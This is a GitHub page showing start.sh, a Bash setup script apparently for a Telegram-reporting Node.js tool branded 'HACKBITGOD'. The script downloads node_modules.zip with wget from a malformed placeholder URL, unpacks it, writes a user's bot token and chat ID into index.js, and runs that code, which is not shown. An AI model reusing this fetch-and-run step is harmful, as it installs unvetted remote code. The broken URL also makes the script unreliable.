-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathstart.sh
65 lines (57 loc) · 1.56 KB
/
start.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/env bash
# Set terminal colors
RED="\033[31m"
GREEN="\033[32m"
YELLOW="\033[33m"
BLUE="\033[34m"
MAGENTA="\033[35m"
CYAN="\033[36m"
RESET="\033[0m"
echo -e "\e[0m"
echo "Author: HACKBITGOD"
echo "Github: HACKBITGOD"
echo "Telegram channel: HackBitGod"
echo -n "Loading "
timeout 10s bash -c '
while true
do
echo -n "."
sleep 1
done
'
echo " Done!"
apt update && apt upgrade -y
if ! command -v node &> /dev/null
then
echo "Node.js LTS not found. Installing..."
pkg install nodejs-lts || { echo "Failed to install Node.js LTS" ; exit 1; }
else
echo "Node.js LTS already installed"
fi
if ! command -v wget &> /dev/null
then
echo "wget not found. Installing..."
apt install -y wget || { echo "Failed to install wget" ; exit 1; }
else
echo "wget already installed"
fi
if [ -d "node_modules" ]
then
echo "node_modules already exists. Skipping download."
else
if [ -f "node_modules.zip" ]
then
echo "node_modules.zip already downloaded. Skipping download."
else
# Download node_modules.zip file
wget https://node_modules.zip || { echo "Failed to download node_modules.zip" ; exit 1; }
fi
unzip node_modules.zip || { echo "Failed to extract node_modules.zip" ; exit 1; }
rm node_modules.zip
fi
read -p "Enter your bot token: " token
read -p "Enter your chat ID: " id
sed -i "s/const token = 'your token here'/const token = '$token'/g" index.js
sed -i "s/const id = 'chat id here'/const id = '$id'/g" index.js
echo "Server uploaded successfully! Now open new tab and follow rest instructions"
node index.js